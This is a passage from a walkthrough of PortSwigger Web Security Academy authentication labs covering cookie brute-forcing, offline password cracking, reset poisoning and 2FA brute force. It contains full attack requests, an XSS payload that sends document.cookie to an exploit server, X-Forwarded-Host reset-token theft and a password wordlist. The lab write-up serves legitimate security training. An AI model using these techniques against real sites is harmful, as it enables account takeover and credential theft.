Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0af000f40304a988c0f63b730062009d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=wiener&password=peter&stay-logged-in=on
Response:
HTTP/2 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=lMgA4OTe3U4YivMcjJ14c6N9HJUlB61i; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
The difference between simple login and stay login is only one cookie stay-logged-in
that also has an expiration time so our session should not last too long.
The stay-logged-in
cookie is base64 encoded and after decoding, they look like the following.
wiener:51dc30ddc473d43a6011e9ebba6ca770
The first thing is our username and the second thing looks like a hash. Using hash identifier tools it is indeed a hash and md5 hash to be exact.
By checking the wiener
password md5 hash from the burp decoder it was found it is indeed its password hash.
So we can send a /my-account
request in the repeater that has stayed logged in the cookie
GET /my-account HTTP/2
Host: 0af000f40304a988c0f63b730062009d.web-security-academy.net
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; session=toS4Z5rsESi7ZKxtQmHoyTssHJlHtzfF
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://0af000f40304a988c0f63b730062009d.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Send this request to the burp intruder and add the position to stay logged in the cookie. Now go to the Payloads section and use Simple List as the payload type and load the password list from the lab.
Click on the Add
button from the Payload Processing
section and follow the following things
First, select the
Hash
rule withMD5
as a hashAgain click on the
Add
button and now selectAdd prefix
Rule withcarlos:
as a prefix.Again click on the
Add
button for the last time and selectEncode
as a Rule andBase64-encode
as an Encoding type.
Now start the attack all the incorrect requests should have a 3xx
status code response but the successful request has a 2xx
status code. using this you can brute force the carlos user to stay login cookie and access its account and solve the lab.
LAB #10: Offline password cracking
Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking
Given Credential: wiener:peter
Victim's Username: carlos
This lab has a login form in the /login
endpoint with stay login functionality. The Post request with stay login looks like the following.
Request:
POST /login HTTP/2
Host: 0abe00ea03d0d4fcc0a9138a00f900f1.web-security-academy.net
Cookie: session=LcEKmOIIOyjgtKkrTb4V8hYEbc354rMc
...
[redacted]
...
username=wiener&password=peter&stay-logged-in=on
Response:
HTTP/2 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=Iyhb1puWmA2h6KwmsMUW2R57fcZ2gLkk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length:
From the response, we can see a stay-logged-in session are base64 encoded string after decoding they look like the following.
wiener:51dc30ddc473d43a6011e9ebba6ca770
The first thing is the username that we try to log in and the other thing is its password md5 hash. There is also a comment functionality in site posts that are vulnerable to Cross Site Scripting - XSS attacks.
The lab also has an exploit server in which we see the access log. Go to any post from the site and comment on the following thing.
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
Replace the //YOUR-EXPLOIT-SERVER-ID.exploit-server.net/
with your exploit server URL that looks like the following.
https://exploit.0abe00ea03d0d4fcc0a9138a00f900f1.web-security-academy.net
use any username and email address and post the comment. Now go back to your exploit server and click on the access log
button to see the access log there you should see a request that has the victim user cookie copy its base64 encoded string and decode it. Copy the hash and crack it using tools like john
and hashcat
or you can also crack it using online sites i.e crackstation.net
. crack the hash and log in using that crack password and delete the account to solve the lab.
LAB #11: Password reset poisoning via middleware
Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware
Given Credentials: wiener:peter
Victim Usernmae: carlos
This Lab contains a Login functionality in which we can login using a username and password combination. If any of these is incorrect they throw an error invalid username or password.
The lab also has a reset password functionality in which we can reset our password using username or email
and they send a password reset link to an email client. The lab also has an exploit server in which we can access email for wiener users and view access logs. The password reset functionality request looks like the following.
Request:
POST /forgot-password HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
username=wiener
and the password reset link looks like the following.
https://0af80040036fb9c3c1408200007e00ec.web-security-academy.net/forgot-password?temp-forgot-password-token=n2M9YaPS4wOGXfcXtLjbsIY74k31PJHX
Sometimes a vulnerable server is generating this link by viewing the host from headers like Origin, Refferer, Host
. This is not the case here but there are some other headers that are used to specify a host i.e X-Forwarded-Host
. By sending a request using X-Forwarded-Host
.
POST /forgot-password HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-Host: exploit-0ac400cc0374b9f3c19a811101ed00f1.exploit-server.net
username=wiener
Our reset password also changed in the email client and now they look like the following.
https://exploit-0ac400cc0374b9f3c19a811101ed00f1.exploit-server.net/forgot-password?temp-forgot-password-token=n2A9YaPSXwOGXfcXtLjbTIY74k31PZHM
So this will change the host address in the link and if we click on it they send the GET request with a password reset token to our exploit server and we can get the token using the access log of the exploit server. So by poisoning the link using this method if the victim clicks on the link and we get his token and reset its password.
POST /forgot-password HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-Host: exploit-0ac400cc0374b9f3c19a811101ed00f1.exploit-server.net
username=carlos
Now go to the exploit server access log and wait till you see a record like the following.
/forgot-password?temp-forgot-password-token=f5jFP50E7lC7TuHE6tHZ3PkLBJMthplg HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
now copy the reset token and send the POST request like the following.
POST /forgot-password?temp-forgot-password-token=[PASTE the reset token here] HTTP/2
Host: 0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Cookie: session=UTCkA7KeHmmNpe4rATS6F1AXoQffWQ44
Content-Length: 103
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0af80040036fb9c3c1408200007e00ec.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
temp-forgot-password-token=[Paste the reset token here]&new-password-1=carlos&new-password-2=carlos
Now log in using the password you give above and solve the lab.
LAB #12: Password brute-force via password change
Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change
Given Credential: wiener:peter
Victim's Username: carlos
This lab has a login functionality using username and password and if any of these are incorrect they throw an error incorrect username or password.
if we made too many incorrect logins they block our IP and we cannot make any new login request for 1 min.
The lab also has password change functionality after successful login in which we can change our current password by giving the previous password, new password, and confirming the password. Their requests are like the following.
POST /my-account/change-password HTTP/2
Host: 0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Cookie: session=4C4NLad6nFa0aRWCRLESQjeZALzuC24r; session=L7c1LaSpvBpPJ30jkJssT0J2XI5QQ5MA
Content-Length: 80
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=wiener¤t-password=peter&new-password-1=peter&new-password-2=peter
As you can see we pass our username with current-password, new-password-1, and new-password-2. If we change the username with carlos
they redirect us back to /login
but if we give username wiener
and current-password to our correct password but didn't match the new-password-1
and new-password-2
they throw an error New password doesn't match!
. But if we match the new password but the current password is incorrect after some try they will lock our account for some time.
We can brute force another user's password by sending this request to the intruder and changing the username to carlos
and placing the payload position into the current password for the new-password-1 and new-password-2 we add two different strings. Use simple List as an attack type Load your password list in the Payloads section and start the attack using this we can successfully brute-force the password because one request result would have the string New password doesn't match!
and that is the password for carlos user. The Intruder request looks like the following.
POST /my-account/change-password HTTP/2
Host: 0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Cookie: session=sgvuafVBNQR4kAGGv53iAJJ65xTpQDps; session=dH6juRwz0MxHex78RYe18HDD4scLi7h3
Content-Length: 76
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a89004203b5bc15c1d13a1c004f00b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=carlos¤t-password=§Payload-Position§&new-password-1=pet&new-password-2=err
filter your request with request sizes and you will see one request that has a different request size. Note that password and log in using that password and solve the lab.
LAB #13: Broken brute-force protection, multiple credentials per request
Victim's Username: carlos
This lab has a login functionality using username and password and if any of these are incorrect they throw an error incorrect username or password.
if we made too many incorrect logins they block our ip and we cannot make any new login request for 1 min.
The login request looks like the following.
POST /login HTTP/2
Host: 0a34000c04639f79c10c5d290037000b.web-security-academy.net
Cookie: session=r62J2HxPkMgcf3G6pTiFbg5PfKSaD3bc
Content-Length: 40
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net
{"username":"wiener","password":"peter"}
They are sending login data using JSON
format. In json we can specify multiple values in a single key.
{
"username": "wiener",
"password": [
"password1",
"peter"
]
}
In the above JSON data, you can see we specify two passwords. And in some vulnerable servers, they iterate through that values and if any of these are correct they give us a login.
We can try login into the wiener
user with this JSON data and see if it's vulnerable or not.
Request:
POST /login HTTP/2
Host: 0a34000c04639f79c10c5d290037000b.web-security-academy.net
Cookie: session=r62J2HxPkMgcf3G6pTiFbg5PfKSaD3bc
Content-Length: 58
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net
{"username": "wiener","password": ["password1","peter"]}
Response:
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=tUNPZkiL2P1AFHGbCjKOlXEIDwdDeV1T; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
So this is indeed give us a login so we can bypass sending multiple incorrect requests i.e brute-force protection and get access to carlos
user account. we just have to send multiple passwords in a single request and if any of these are correct we can get access to its account. So using the LAB wordlist our request for carlos
user is like this.
POST /login HTTP/2
Host: 0a34000c04639f79c10c5d290037000b.web-security-academy.net
Cookie: session=r62J2HxPkMgcf3G6pTiFbg5PfKSaD3bc
Content-Length: 989
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a34000c04639f79c10c5d290037000b.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"username": "carlos","password":["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]}
And using this we get the following response.
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=DxHQMEI3apPwQCHcg2EfMN9CqBmGV4xI; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Right-click on the request and click show response in the browser, copy the url and paste it on the browser url bar and solve the lab. Using this method we get access but we don't know the password yet we know passwords are one of them so just remove one password from the request one by one until you get the response of failed login and note the last password you removed and that's the correct password.
LAB #14: 2FA bypass using a brute-force attack
Lab URL: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
Victim's Credentials: carlos:montoya
This Lab contains a Login functionality in which we can login using a username and password combination. If any of these is incorrect they throw an error invalid username or password.
If we successfully login they redirect us to /login2
and there they generate the MFA code and send it to use email or another authenticator application. We have to send that 4-digit MFA code to the server and the server checks it and gives us access if correct or throws an error if it is incorrect. If we give two incorrect codes they logout of us and we have to log in again.
The login request and response are like the following.
Request:
POST /login HTTP/2
Host: 0a8e009503694f01c1f03aef00540000.web-security-academy.net
Cookie: session=LEGPo3ft8vJ3t80D2XHbtrQ507patnsn
Content-Length: 70
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e009503694f01c1f03aef00540000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
csrf=sR7w3Cfe1dLosIcROnfi8ROzVzp2Wuej&username=carlos&password=montoya
Response:
HTTP/2 302 Found
Location: /login2
Set-Cookie: session=W2KKm8tqiWENd76CGQyrbd8YBQeQ81ll; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
The MFA code request is like the following.
POST /login2 HTTP/2
Host: 0a8e009503694f01c1f03aef00540000.web-security-academy.net
Cookie: session=W2KKm8tqiWENd76CGQyrbd8YBQeQ81ll
Content-Length: 51
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e009503694f01c1f03aef00540000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
csrf=ZBoWQmvpBtvTgc86gexKxv9BkvDpz1YP&mfa-code=1234
They didn't block our ip with so many incorrect requests so we can brute force the MFA code but we are logout after two incorrect requests so we can use the burp suite session handling rules to re-login after every request.
In Burp, go to Project options > Sessions. In the Session Handling Rules panel, click Add. Got to the scope Section and check only the intruder for tool scope and check only Include all URL
for URL scope. Go back to the Details tab and under Rule Actions, click Add > Run a macro. Under Select macro click Add to open the Macro Recorder. Select the following 3 requests:
GET /login
POST /login
GET /login2
Then click OK. The Macro Editor dialog opens. Click Test macro and check that the final response contains the page asking you to provide the 4-digit security code. This confirms that the macro is working correctly. Keep clicking OK to close the various dialogs until you get back to the main Burp window. The macro will now automatically log you back in as Carlos before each request is sent by Burp Intruder. Now Send the POST /login2
request to Burp Intruder. In Burp Intruder, add a payload position to the mfa-code
parameter. On the Payloads tab, select the Numbers payload type. Enter the range 0 - 9999 and set the step to 1. Set the min/max integer digits to 4 and the max fraction digits to 0. This will create a payload for every possible 4-digit integer. Go to the Resource pool tab and add the attack to a resource pool with the Maximum concurrent requests set to 1
.
Now starts the attack one request should give you the status 302
right click on it and click on show response in browser
copy the url and paste it on the browser and solve the lab.
Last updated
Was this helpful?